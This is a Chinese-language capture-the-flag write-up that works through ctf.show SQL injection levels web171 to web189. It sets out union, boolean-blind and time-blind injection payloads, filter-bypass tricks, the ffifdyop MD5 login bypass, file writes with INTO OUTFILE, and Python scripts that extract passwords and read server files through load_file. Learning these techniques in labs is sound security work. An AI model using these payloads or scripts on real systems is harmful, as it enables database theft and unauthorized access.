先看这个 https://blog.csdn.net/qq_41701460/article/details/146367814
后看下面
web171:
首先尝试1’–+,发现有返回值;说明直接闭合正确;
接着用 1’ 、1) 、1# 、1‘%23 怎么弄都是正常
#、–+、%23 是注释符可以看之前的sql注入
接着找用来输出的列:1’ order by 3–+,发现一共有3行(就1,2,3,4,5慢慢试出来)
先查看数据库基本信息:
0' union select database(),user(),version()--+
得到数据库名为ctfshow_web
这里说明一下,因为 mysql 5.0 及其以上的都会自带一个叫 information_schema 的数据库,相当于是一个已知的数据库,并且该数据库下储存了所有数据库的所以信息。
查该数据库下的所有表:
其中 2 和 3 只是占位符
0' union select group_concat(table_name),2,3 from information_schema.tables where table_schema='ctfshow_web'--+
可以看到存在一个名为 ctfshow_user 的表,我们继续查该表下的列名:
0' union select group_concat(column_name),2,3 from information_schema.columns where table_schema='ctfshow_web'and table_name='ctfshow_user'--+
没看到 flag 这种关键字,因此我们 id,username,password 都查一下:
0' union select id,username,password from ctfshow_web.ctfshow_user--+
当然这种没有绕过的给到 sqlmap 就直接一把嗦了,这里简便的方法也可以采用万能密码:
1'or 1 --+
web172:
在无过滤注入 1 里面用万能密码未找到 flag
试一下注入 2 的,里面用万能密码未找到 flag
数据库都懒得查了,用 database() 代替,直接查表:
0' union select group_concat(table_name),2 from information_schema.tables where table_schema=database()--+
新增了一个 ctfshow_user2 的表,查一下该表下面内容,注意这里有一个检查,要求 username 的内容不能是 flag,才能正常查询成功,那么我们就不查 username ,查 id 和 password 就行了:
0' union select id,password from ctfshow_user2--+
web173: 同上
先判断列数
-1' order by 3 --+
通过查询库名进行验证。
-1' union select 1,database(),3 --+
查询表名
-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
可知有3个表(ctfshow_user,ctfshow_user2,ctfshow_user3)
查询列名(根据前两关的情况,直接查询ctfshow_user3的列名)
-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='ctfshow_user3' --+
根据回显可知列名有id,username,password,后台语法对输出过滤了 flag,所有我们还是不查用户名。查密码,其他用占位符1,2占位即可。
-1' union select 1,2,password from ctfshow_user3 --+
-1' union select 1,2,group_concat(password) from ctfshow_user3 --+
web174:
这个有问题,要把3改成4.
可以发现这里查询结果的输出不能出现数字.因为返回逻辑表明如果返回数据中包含 flag
字样,或者包含数字0-9,则不会输出
查询语句的内容也不能出现数字
可以查到数据库名:ctfshow_web ,因为数据库名里没有数字
但是查表名就不行了,根据前面规律,表名应该为 ctfshow_user4,包含了数字,所以结果出不来,不能直接查。
0' union select group_concat(table_name),'a' from information_schema.tables where table_schema=database()--+
对输出结果进行替换后再输出,将数字都替换成字母,payload:
0' union select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(group_concat(table_name),'1','A'),'2','B'),'3','C'),'4','D'),'5','E'),'6','F'),'7','G'),'8','H'),'9','I'),'0','J'),'a' from information_schema.tables where table_schema=database()--+
查询结果为:ctfshow_userD
D 对应的是 4 ,因此表名为:ctfshow_user4
查询password:
0' union select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,'1','A'),'2','B'),'3','C'),'4','D'),'5','E'),'6','F'),'7','G'),'8','H'),'9','I'),'0','J'),'a' from ctfshow_user4--+
得到ctfshow{BdaIEbGc-EEfH-DfAB-abGI-fIEbAGDddbcd}
最后将查询结果的数字替换回去,也可以用 replace 函数,反过来即可。
这里用 python 实现:
def rev_replace(txt):
repl = {
'A': '1',
'B': '2',
'C': '3',
'D': '4',
'E': '5',
'F': '6',
'G': '7',
'H': '8',
'I': '9',
'J': '0'
}
for k, v in repl.items():
txt = txt.replace(k, v)
return txt
txt = input("输入:")
out = rev_replace(txt)
print("替换后: ", out)
web175:正则匹配过滤掉的是所有 ASCII 字符(从 \x00 到 \x7f,也就是从 0 到 127 的所有字符,包括控制字符、数字、字母和符号)。
方法1:将数据输出到一个文件中,然后访问对应文件
使用into outfile '/var/www/html/'将信息输入到文件中去
-1' union select username,password from ctfshow_user5 into outfile "/var/www/html/1.txt"--+
方法2:采用时间盲注
1' and sleep(5)--+
观察页面确实存在延时
burp爆破方法
https://myon6.blog.csdn.net/article/details/135241105?fromshare=blogdetail&sharetype=blogdetail&sharerId=135241105&sharerefer=PC&sharesource=qq_41701460&sharefrom=from_link
首先看了下它这里除了查询的 id,还有另外的两个参数,这个我们在写脚本时也需要加进去,并且注意到,它调用的接口其实是 /api 下的 v5.php,而不是 select-no-waf-5.php 这个文件哦。
脚本:
import requests
url = 'http://e03daa7b-66ad-48fb-8349-da520b7f5fe8.challenge.ctf.show/api/v5.php'
i = 0
for i in range(1, 15):
payload = f"id=1' and if(length(database())={i},sleep(3),0) --+&page=1&limit=10"
# print(payload)
re = requests.get(url, params=payload)
time = re.elapsed.total_seconds()
print(f"{i}:{time}")
# print(re.url)
可以看到当数据库名长度为 11 时,响应存在延时,这与我们前面得到的数据库名为:ctfshow_web,长度就是 11符合。
下面使用两个 for 循环遍历数据库名,从第一个字符猜到第 11 个字符,字符的可能性这里字典设置的是小写字母加数字加下划线:
import requests
import string
url = 'http://2e5bbcf3-38df-43a5-b8a5-710f30ae9957.challenge.ctf.show/api/v5.php'
dic = string.ascii_lowercase + string.digits + '_'
out = ''
for j in range(1, 12):
for k in dic:
payload = f"id=1' and if(substr(database(),{j},1)='{k}',sleep(3),0) --+&page=1&limit=10"
# print(payload)
re = requests.get(url, params=payload)
time = re.elapsed.total_seconds()
# print(f"{j}:{time}")
if time > 2:
print(k)
out += k #响应延时则将猜测的字符添加到结果里
break #跳出内层的for循环,继续遍历下一位
print(out)
跑完得到数据库名为:ctfshow_web
接下来我们继续猜表名,这里就不先判断表名的长度了,设置范围大一点,以确保完整输出数据,使用标志位来判断是否到了最后一位:
得到表名为:ctfshow_user5
我们可以通过调整 limit 的参数来获取到其他的表名,有时候也可以使用 group_concat 函数。
payload = f"id=1' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'), {j}, 1) = '{k}',sleep(3),0) --+&page=1&limit=10"
查列名:
payload = f"id=1' and if(substr((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web'and table_name='ctfshow_user5'), {j}, 1) = '{k}',sleep(3),0) --+&page=1&limit=10"
找到了列名。不过要把画红框两行注销掉。因为换行导致我们误判为到了最后一个字符,因为我们的字典里只包括数字、小写字母和下划线,因此字符没找到,便跳出外层循环结束了代码。
由于前面的题目,我们知道 flag 在 password 字段里,那么我们就查它:
由于 flag 不在第一行,因此我们再细化查询的条件,即 username=‘flag’
payload = f"id=1' and if(substr((select password from ctfshow_web.ctfshow_user5 where username='flag'), {j}, 1) = '{k}',sleep(3),0) --+&page=1&limit=10"
最终脚本:
import requests
import string
url = 'http://2e5bbcf3-38df-43a5-b8a5-710f30ae9957.challenge.ctf.show/api/v5.php'
dic = string.ascii_lowercase + string.digits + '_-{}'
out = ''
for j in range(1, 100):
a = 1 #设置一个标志位,用来判断是否已经猜到了最后一位
for k in dic:
# payload = f"id=1' and if(substr(database(),{j},1)='{k}',sleep(3),0) --+&page=1&limit=10" # 猜数据库名
# payload = f"id=1' and if(substr((select table_name from information_schema.tables where table_schema='ctfshow_web' limit 0, 1), {j}, 1) = '{k}',sleep(3),0) --+&page=1&limit=10" #猜表名
# payload = f"id=1' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'), {j}, 1) = '{k}',sleep(3),0) --+&page=1&limit=10" #猜表名
# payload = f"id=1' and if(substr((select column_name from information_schema.columns where table_schema='ctfshow_web'and table_name='ctfshow_user5' limit 2, 1), {j}, 1) = '{k}',sleep(3),0) --+&page=1&limit=10" # 猜列名
payload = f"id=1' and if(substr((select password from ctfshow_web.ctfshow_user5 where username='flag'), {j}, 1) = '{k}',sleep(3),0) --+&page=1&limit=10" # 猜具体字段
# print(payload)
re = requests.get(url, params=payload)
time = re.elapsed.total_seconds()
# print(f"{j}:{time}")
if time > 2:
print(k)
a = 0 #如果找到字符,则将标志位置0
out += k
break #跳出内层的for循环,继续遍历下一位
if a == 1: #在进行下一次循环前,先判断当前字符是否找到
break #若没有找到,则跳出外层循环,表示我们已经到了最后一个字符
print(out)
web176: 过滤了select,通过大小写即可绕过
方法1:万能语法
1' or 1=1--+
方法2:过滤了select,通过大小写即可绕过
1'union sElect 1,2,group_concat(password) from ctfshow_user--+
1'union sElect 1,2,password from ctfshow_user--+
web177:空格过滤,使用/**/绕过或者%0a
方法1:
1'or/**/1=1%23
方法2:正常查询:
1'/**/union/**/select/**/1,2,password/**/from/**/ctfshow_user/**/where/**/username='flag'%23
web178:同样过滤空格但是也把/**/过滤掉了,所以使用%0a或者%0b %0c %0d %23 这些
方法1:万能密码
1'or%0a1=1%23
1’or'1'='1'%23
方法2:
1'union%09select%0a1,2,password%0bfrom%0cctfshow_user%23
web179:同样还是过滤空格,%0a和%0b都给过掉了,可以用%0c
方法1:万能密码
1'or%0c1=1%23
1’or'1'='1'%23
方法2:
1'union%0cselect%0c1,2,password%0cfrom%0cctfshow_user%23
web180:查看提示发现%23(+)被过滤了,查看别人的wp发现可以使用闭合号绕过。
'%0cUnion%0cSelect%0c1,2,group_concat(password)%0cfrom%0cctfshow_user%0cwhere%0cusername='flag'or'1'='
方法2:
知识点
在mysql里and优先级高于or
原理:and需要两边都为1返回true,例如1and1,但是or只需要一边为1则返回true
假如1 and 0 = 0,如果在后面加一个or 1呢,就会变成 1 and 0 or 1
1 and 0 or 1 == 1 and 1 == 1
11111'or%0cusername='flag
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";
插入语句就变为
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '11111'or%0cusername='flag' limit 1;";
web181:通过优先级绕过。数字越大,优先级越高(借用一位博主的图)
方法:同上
-1'||username='flag
11111'or%0cusername='flag
web182:提示表明flag被过滤。
由前面得知flag的id值为26,则利用id值进行绕过。
-1' || id='26
或者使用like进行绕过。
-1'||(username)like'%fla%
知识点
在SQL中,`LIKE` 是一个用于匹配字符串模式的操作符,通常与 `WHERE` 子句一起使用。它允许你对字符串字段进行模糊查询。
`LIKE` 的基本语法如下:
```sql
SELECT column1, column2, ...
FROM table_name
WHERE column_name LIKE pattern;
其中,pattern
是要匹配的模式,通常包含通配符:
- 百分号 (%):代表零个或多个字符。
- **下划线 (_) **:代表单个字符。
示例
使用
%
符号- 查找以 “A” 开头的所有名称:
SELECT * FROM employees WHERE name LIKE 'A%';
- 查找以 “son” 结尾的所有名称:
SELECT * FROM employees WHERE name LIKE '%son';
- 查找包含 “an” 的所有名称:
SELECT * FROM employees WHERE name LIKE '%an%';
使用
_
符号- 查找精确长度为 5 且第二个字符为 “o” 的所有名称:
SELECT * FROM employees WHERE name LIKE '_o___';
结合多个条件
- 查找以 “A” 开头或以 “son” 结尾的名称:
SELECT * FROM employees WHERE name LIKE 'A%' OR name LIKE '%son';
注意事项
LIKE
通常是区分大小写的,具体行为取决于数据库的设置。- 在某些情况下,用
ILIKE
可以忽略大小写(在 PostgreSQL 中)。 - 使用
LIKE
进行字符串搜索时,可能会导致性能下降,特别是在大型数据集上,因为它无法使用索引来加速查询。
web183:根据提示select不能用,就只能选择布尔盲注或者时间盲注了。这题的解法是在已知表名的情况下实现的,再结合模糊匹配like ,配合python脚本进行爆破。
脚本:
import time, sys
import requests
#导入必要的库。time 库用于在需要时添加延迟;sys 库用于退出程序;requests 库用于发送 HTTP 请求。
# 定义目标 URL,即存在 SQL 注入漏洞的页面。
url = 'http://f03f47d1-8422-49e0-a551-1bb3214823f6.challenge.ctf.show/select-waf.php'
#定义一个字符串 letter,包含了可能出现在 flag 中的字符,包括数字、字母、连字符、花括号。
letter = "0123456789abcdefghijklmnopqrstuvwxyz-{}"
#初始化 flag 变量,假设 flag 以 ctfshow{ 开头
flag = "ctfshow{"
#外层循环,最多尝试 50 次来获取 flag 的每个字符
for i in range(50):
#内层循环,遍历 letter 中的每个字符
for k in letter:
#使用 regexp 运算符,功能类似
data = {"tableName":"`ctfshow_user`where`pass`regexp('{}')".format(flag + k)}
#构造 POST 请求的数据。使用 like 运算符来判断 ctfshow_user 表中 pass 字段是否以当前猜测的 flag + k 开头
#data = {"tableName": "`ctfshow_user`where`pass`like('{}%')".format(flag + k)}
#发送 POST 请求到目标 URL,并将响应内容作为文本存储在变量 r 中。
r = requests.post(url=url, data=data).text
#注释掉的代码,用于在每次请求之间添加 0.3 秒的延迟,避免对服务器造成过大压力或被检测到异常行为。
# time.sleep(0.3)
#判断响应文本中是否包含 $user_count = 1;,如果包含,说明当前猜测的字符是正确的。
if "$user_count = 1;" in r:
#如果猜测正确,将该字符添加到 flag 中,并打印当前的 flag,然后跳出内层循环,继续猜测下一个字符。
flag = flag + k
print(flag)
break
if k == "}":
sys.exit()
web184:根据提示, where、单双引号、反引号都被过滤了,但没有过滤空格。
where可以用having代替,单双引号可以用括号+十六进制进行绕过
在SQL中,`HAVING` 子句用于过滤聚合查询的结果。它通常与 `GROUP BY` 子句一起使用,以对分组后的结果进行条件筛选。与 `WHERE` 子句的不同之处在于,`WHERE` 是在数据分组之前进行过滤,而 `HAVING` 则是在数据分组之后进行过滤。
### 用法示例:
假设你有一个名为 `Sales` 的表,表中有以下字段:`ProductID`、`Quantity` 和 `SaleAmount`。你可以使用 `HAVING` 来筛选出总销售额大于 1000 的产品。
```sql
SELECT ProductID, SUM(SaleAmount) AS TotalSales
FROM Sales
GROUP BY ProductID
HAVING SUM(SaleAmount) > 1000;
关键点:
- 使用场景:当你需要对聚合函数(如
COUNT
、SUM
、AVG
等)进行筛选时。 - 与
GROUP BY
一起使用:通常会与GROUP BY
子句结合使用。 - 可结合多种条件:可以使用逻辑运算符(如 AND、OR)来组合多个条件。
更复杂的例子:
你可以同时使用 HAVING
和 WHERE
来筛选:
SELECT ProductID, COUNT(*) AS SaleCount, SUM(SaleAmount) AS TotalSales
FROM Sales
WHERE SaleDate >= '2023-01-01'
GROUP BY ProductID
HAVING COUNT(*) > 10 AND SUM(SaleAmount) > 1000;
在这个例子中,WHERE
子句先筛选出2023年之后的销售记录,再通过 GROUP BY
按产品分组,最后 HAVING
子句确定总销量大于 10 并且总销售额大于 1000 的产品。
总结:
HAVING
子句用于对聚合数据进行筛选。- 它通常与
GROUP BY
一起使用。 - 主要用于聚合函数的条件过滤,可以组合多个条件。
十六进制:可以前面加x,后面用引号包裹或者0x;也可以和算数运算结合表示数字。
脚本如下:
import binascii
import requests
#binascii 库:用于进行二进制数据和 ASCII 编码之间的转换,在本代码中主要用于将字符串转换为十六进制字符串。
#requests 库:用于发送 HTTP 请求,在代码里会用它向目标网站发送 POST 请求来进行 SQL 注入尝试。
#定义将字符串转换为十六进制字符串的函数
#s.encode('utf-8'):将输入的字符串 s 编码为 UTF - 8 字节序列。
#binascii.b2a_hex(...):把字节序列转换为十六进制表示的字节序列。
#bytes.decode(str_16):将十六进制字节序列解码为字符串。
#str_16.replace("'", "").replace("'", ""):移除字符串中的单引号(虽然这里执行了两次相同的替换,属于冗余操作),最后返回处理好的十六进制字符串
def to_hex(s):
str_16 = binascii.b2a_hex(s.encode('utf-8'))
str_16 = bytes.decode(str_16)
res = str_16.replace("'", "").replace("'", "")
return res
#url:目标网站的 URL,即存在 SQL 注入漏洞的页面。
url = "http://a41d93e7-3dac-4e7a-9632-b384f50e7d04.challenge.ctf.show/select-waf.php"
#charset:定义了可能出现在 flag 中的所有字符,代码会从这些字符中逐个尝试猜测 flag 的每一位。
charset = "0123456789asdfghjklqwertyuiopzxcvbnm{}-_?"
#flag:初始化的 flag 部分,假设 flag 是以 ctfshow 开头的。
flag = "ctfshow"
#外层循环 for i in range(0, 666):设定最多进行 666 次尝试来猜测 flag 的每一位字符。
for i in range(0, 666):
#内层循环 for j in charset:遍历 charset 中的每一个字符,依次尝试作为当前位置的字符。
for j in charset:
try:
# 修正十六进制字符串格式
#result = "0x" + to_hex(flag + j + "%"):将当前已猜测的 flag 部分、当前尝试的字符 j 和 SQL 通配符 % 组合起来,转换为十六进制字符串,并添加 0x 前缀,用于 SQL 查询。
result = "0x" + to_hex(flag + j + "%")
#data = {...}:构造 POST 请求的数据,tableName 的值是一个 SQL 查询语句,使用 right join 对 ctfshow_user 表进行自连接,并通过 like 条件筛选 pass 字段是否以当前猜测的字符串开头。
data = {"tableName": "ctfshow_user as a right join ctfshow_user as b on b.pass like {0}".format(result)}
# 发送请求并添加异常处理
# response = requests.post(url=url, data=data):向目标 URL 发送 POST 请求,并将响应存储在 response 变量中。
response = requests.post(url=url, data=data)
#if "$user_count = 43" in response.text::判断响应文本中是否包含 "$user_count = 43",如果包含,说明当前猜测的字符 j 是正确的,因为服务器返回了满足条件的结果
if "$user_count = 43" in response.text:
#flag += j:将正确的字符添加到 flag 中。
flag += j
#print(flag):打印当前已猜测到的完整 flag。
print(flag)
#if j == "}":如果当前猜测的字符是 },说明已经找到了完整的 flag,使用 exit() 退出程序。
if j == "}":
exit()
break
except requests.RequestException as e:
print(f"请求出错: {e}")
Web185:过滤如下,数字也被过滤了:
使用true来过滤。在mysql中,sql语句true为1,true+true=2,所以通过相加,任何字母我们都可以构造出来。
那么先用一坨true表示十进制数字,再转换为字符,再用concat()拼接即可。
concat和true拼接可以转换成数字,true相当于等于1
例如:
concat(true+true) == 2 concat(true) == 1 concat(true, true) == 11
脚本如下:
import requests
#requests 库在代码中用于发送 HTTP 请求。代码会借助它向目标网站发送 POST 请求,从而进行 SQL 注入的尝试
#定义 createNum 函数
#此函数的作用是依据输入的整数 n 构建一个由 true 拼接而成的字符串。
#当 n 等于 1 时,直接返回 'true'。
#当 n 大于 1 时,会通过循环将 true 进行 n - 1 次拼接,最终返回拼接后的字符串。这个字符串在后续会用于表示字符的 ASCII 码值
def createNum(n):
str = 'true'
if n == 1:
return 'true'
else:
for i in range(n - 1):
str += "+true"
return str
#定义 change_str 函数 把每一个字符转换成ascii码对应的数值
#该函数的功能是把输入的字符串 s 中的每个字符转换为对应的 ASCII 码值,并使用 chr 函数进行封装。
#首先处理字符串的第一个字符,借助 ord 函数获取其 ASCII 码值,再用 createNum 函数将该值转换为 true 拼接的字符串,最后用 chr 函数包裹起来。
#接着遍历字符串的其余字符,将每个字符按同样的方式处理并拼接起来。最终返回拼接好的字符串,此字符串可用于 SQL 查询。
def change_str(s):
str=""
str+="chr("+createNum(ord(s[0]))+")"
for i in s[1:]:
str+=",chr("+createNum(ord(i))+")"
return str
#url:代表目标网站的 URL,也就是存在 SQL 注入漏洞的页面。
url = "http://231865f2-3c6d-4a3b-ad24-694b6b5b6c48.challenge.ctf.show/select-waf.php"
#str:定义了可能出现在 flag 中的所有字符,代码会从这些字符里逐个尝试猜测 flag 的每一位。
str = "0123456789abcdefghijklmnopqrstuvwxyz{}-"
#flag:初始化的 flag 部分,假定 flag 是以 ctfshow 开头的
flag = "ctfshow"
for i in range(0,666):
for j in str:
#result = change_str(flag + j + "%"):把当前已猜测的 flag 部分、当前尝试的字符 j 和 SQL 通配符 % 组合起来,通过 change_str 函数转换为用于 SQL 查询的字符串。
result = change_str(flag + j + "%")
#data = {...}:构造 POST 请求的数据,tableName 的值是一个 SQL 查询语句,使用 right join 对 ctfshow_user 表进行自连接,并通过 like 和 concat 函数筛选 pass 字段是否以当前猜测的字符串开头
data = {"tableName":"ctfshow_user as a right join ctfshow_user as b on b.pass like(concat({0}))".format(result)}
res = requests.post(url=url, data=data)
if "$user_count = 43;" in res.text:
flag += j
print(flag)
if j=="}":
exit()
break
web186:同上
web187:
这里的传入的password被md5加密了
mysql中,or 语句后面只要是一个1开头的,那就整个结果就是true
mysql的md5万能密码 ffifdyop
当用户输入的密码为 ffifdyop 时,其 MD5 加密后的结果为 276f722736c95d99e921722cf9ed621c。值得注意的是,这个加密结果开头是 276f7227,
而 27 在 ASCII 码里代表单引号 ',6f 代表字母 o,72 代表字母 r。
所以,这个 MD5 值实际上可以看成是 'or' 加上后续的字符串。
示例解释
SELECT * FROM users WHERE username = 'admin' AND password = MD5('ffifdyop');
把 MD5('ffifdyop') 的结果代入后,查询语句会变成:
SELECT * FROM users WHERE username = 'admin' AND password = '276f722736c95d99e921722cf9ed621c';
即
SELECT * FROM users WHERE username = 'admin' AND password = ''or'36c95d99e921722cf9ed621c';
在 SQL 里,OR 是逻辑或运算符。在这个查询语句中,由于 'or' 的存在,条件 password = '' 后面的 or 会让整个条件表达式变为真,因为 'or' 之后不管跟着什么内容,OR 运算只要有一个条件为真,整个表达式就为真。所以,这个查询语句就相当于:
SELECT * FROM users WHERE username = 'admin' OR 1=1;
web188: mysql弱类型比较
如 ‘4ad’=4
字符串与数字进行比较的时候,mysql会自动将字符串转为数字
而当数字为0,且字符串开头不为其他数字时,弱类型恒成立
原因是:
在比较查询的时候,查询语句为:select pass from ctfshow_user where username = 0 and password = 0;,由于username password是字符串,弱比较成了0,0=0成立,所条件就成立了;最后查询语句就成了:select pass from ctfshow_user where 1;
判断是数字还是字符串类型的注入
order by
分析:
字符型执行的sql语句为select * from user where id=‘1 order by 9999 --+’,注释符【- -】实际上在执行的时候,被当成id的一部分,也就是说,在执行sql语句的时候,条件是id=‘1 order by 9999 --+’。最终只会截取前面的数字,返回id=1的结果。
如果是数字型的话,执行的sql语句为select * from user where id=1 order by 9999 --+,在现实生活中,根本就没什么可能会存在有9999个字段的表,所以会报错。
或者使用逻辑判断,就是根据经验来猜测到底是数字还是字符类型的注入
比如一般来说id一般都是数字类型的,name一般都是字符串类型的
web189:布尔盲注
load_file函数的作用
1.文件读取函数load_file()
LOAD_FILE()函数读取一个文件并将其内容作为字符串返回
sql中要是想截取某个字段值作为匹配条件怎么办呢,这里可以使用substr()函数了。
substr(string ,pos,len)
string:指定字符串
pos:规定字符串从何处开始,(这里的第一个位置是1而不是0)为正数时则从字段开始出开始,为负数则从结尾出开始。
len:要截取字符串的长度。(是从1开始计数而不是0)
当查出有数据的时候,存在回显 Unicode 编码 \u5bc6\u7801\u9519\u8bef=密码错误
最完美脚本
import requests
#import requests:导入 requests 库,用于发送 HTTP 请求。
#url:指定目标服务器的 API 地址,后续的请求都会发送到这个地址
url = "http://a40c6e43-7643-4b34-aa90-82fac47a5b6a.challenge.ctf.show/api/index.php"
#:该函数的作用是确定字符串 flag{ 在文件 /var/www/html/api/index.php 中的起始位置。
#实现思路:
#payload:构造一个 SQL 注入的负载,使用 locate 函数查找 flag{ 在文件内容中的位置,并通过 if 语句判断该位置是否大于某个值。
#使用二分查找算法,在范围 [0, 1000] 内不断缩小查找范围,直到找到 flag{ 的起始位置。
#每次循环中,将构造好的 username 和 password 作为请求数据发送给服务器,根据服务器返回的 msg 字段判断查找范围的调整方向。
def getFlagPos():
payload = "if(locate('flag{',load_file('/var/www/html/api/index.php'))>%d,0,1)"
head = 0
tail = 1000
while head<tail:
mid = (head+tail)//2
data = {
"username":payload%mid,
"password":1,
}
response = requests.post(url=url,data=data)
if "密码错误" == response.json()['msg']:
head = mid+1
else:
tail = mid
return mid
#功能:该函数用于从文件中提取完整的 flag 信息。
#实现思路:
#payload:构造一个 SQL 注入的负载,使用 substr 函数截取文件内容的单个字符,并通过 ascii 函数将其转换为 ASCII 码,再通过 if 语句判断该 ASCII 码是否大于某个值。
#同样使用二分查找算法,在范围 [0, 127] 内不断缩小查找范围,直到找到该位置字符的 ASCII 码。
#将找到的 ASCII 码转换为字符并添加到 flag 字符串中,直到遇到 } 字符,表示 flag 提取完成。
def getFlag(num):
payload = "if(ascii(substr((load_file('/var/www/html/api/index.php')),{},1))>{},0,1)"
flag =""
while True:
head = 0
tail = 127
num += 1
while head<tail:
mid = (head+tail)//2
data = {
"username" : payload.format(num,mid),
"password" : 1,
}
response = requests.post(url=url,data=data)
if "密码错误" == response.json()['msg']:
head = mid + 1
else:
tail = mid
flag += chr(head)
print(flag)
if "}" in flag:
break
return flag
#调用 getFlagPos 函数获取 flag{ 在文件中的起始位置。
#调用 getFlag 函数从该位置开始提取完整的 flag 信息。
#打印最终的 flag 信息。
if "__main__" == __name__:
pos = getFlagPos()
# 得到 flag{ 在文件中的位置
print(pos)
flag = getFlag(pos)
print("[+] the flag is : ",flag)